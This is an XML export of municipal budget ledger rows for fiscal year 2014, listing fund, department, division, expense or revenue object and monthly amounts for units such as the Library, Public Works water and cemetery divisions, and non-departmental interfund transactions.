<row _id="5173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>51583.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>51583.0</total></row>
<row _id="5174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>45280.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45280.0</total></row>
<row _id="5175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>607286.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>607286.0</total></row>
<row _id="5176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>132000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>132000.0</total></row>
<row _id="5177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>177200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>177200.0</total></row>
<row _id="5178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="5179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="5180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1628.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1628.0</total></row>
<row _id="5181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>125000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>125000.0</total></row>
<row _id="5182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544050.0</object><object_description>CEMENT / SAND / GRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="5183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3910.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3910.0</total></row>
<row _id="5184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2091.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2091.0</total></row>
<row _id="5185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3821078.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3821078.0</total></row>
<row _id="5186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>139396.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>139396.0</total></row>
<row _id="5187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>502762.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>502762.0</total></row>
<row _id="5188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52531.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>52531.0</total></row>
<row _id="5189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10600.0</total></row>
<row _id="5190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402490.0</object><object_description>WATER CAPITAL FACILITIES FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-336000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-336000.0</total></row>
<row _id="5191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4000.0</total></row>
<row _id="5192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-175000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-175000.0</total></row>
<row _id="5193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405080.0</object><object_description>SALE OF MUNICIPAL CODES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-100.0</total></row>
<row _id="5194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400130.0</object><object_description>TRANSIENT OCCUPANCY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400160.0</object><object_description>SALES / USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>405090.0</object><object_description>CITY YARDS LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>401380.0</object><object_description>POUND FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
<row _id="5199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="5200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544260.0</object><object_description>BIN REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="5201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>393821.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>393821.0</total></row>
<row _id="5202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15198.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15198.0</total></row>
<row _id="5203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>311.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>311.0</total></row>
<row _id="5204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="5205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8200.0</total></row>
<row _id="5206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="5207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="5208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>85822.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>85822.0</total></row>
<row _id="5209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52531.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>52531.0</total></row>
<row _id="5210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="5211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="5212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577700.0</object><object_description>PROP A REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577760.0</object><object_description>CDBG REIMB-HOUSING &amp; ECON DEV</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-92000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-92000.0</total></row>
<row _id="5214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-30764.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-30764.0</total></row>
<row _id="5215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522060.0</object><object_description>COURT FILING FEES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="5216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250000.0</total></row>
<row _id="5217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-1988462.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1988462.0</total></row>
<row _id="5218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>402920.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3677.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3677.0</total></row>
